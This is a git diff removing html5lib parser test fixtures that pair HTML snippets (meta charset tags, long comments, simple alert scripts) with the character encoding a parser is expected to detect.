-<!-- 8192 characters xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx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-<meta charset="ISO-8859-9">
-#encoding
-Windows-1252
-
-#data
-<!-- 8193 characters xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx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-<meta charset="ISO-8859-9">
-#encoding
-Windows-1252
-
-#data
-<!-- multi-script test -->
-<script>alert('step 1 of 3 ("�")')</script>
-<!-- ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -->
-<script>alert('step 2 of 3 ("�")')</script>
-<meta charset="ISO-8859-9">
-<script>alert('step 3 of 3 ("�")')</script>
-#encoding
-Windows-1252
-
-#data
-<!DOCTYPE HTML>
-<script>document.write('<meta charset="ISO-8859-' + '9">')</script>
-#encoding
-Windows-1252
-
-#data
-<!DOCTYPE HTML>
-<script>document.write('<meta charset="ISO-8859-9">')</script>
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<script type="text/plain"><meta charset="ISO-8859-9"></script>
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<style type="text/plain"><meta charset="ISO-8859-9"></style>
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<p><meta charset="ISO-8859-9"></p>
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta charset="bogus">
-<meta charset="ISO-8859-9">
-#encoding
-ISO-8859-9
diff --git a/attic/vendor/plugins/HTML5lib/testdata/encoding/tests2.dat b/attic/vendor/plugins/HTML5lib/testdata/encoding/tests2.dat
deleted file mode 100644
index a905a48c..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/encoding/tests2.dat
+++ /dev/null
@@ -1,114 +0,0 @@
-#data
-<meta
-#encoding
-windows-1252
-
-#data
-<
-#encoding
-windows-1252
-
-#data
-<!
-#encoding
-windows-1252
-
-#data
-<meta charset = "
-#encoding
-windows-1252
-
-#data
-<meta charset=EUC-jp
-#encoding
-windows-1252
-
-#data
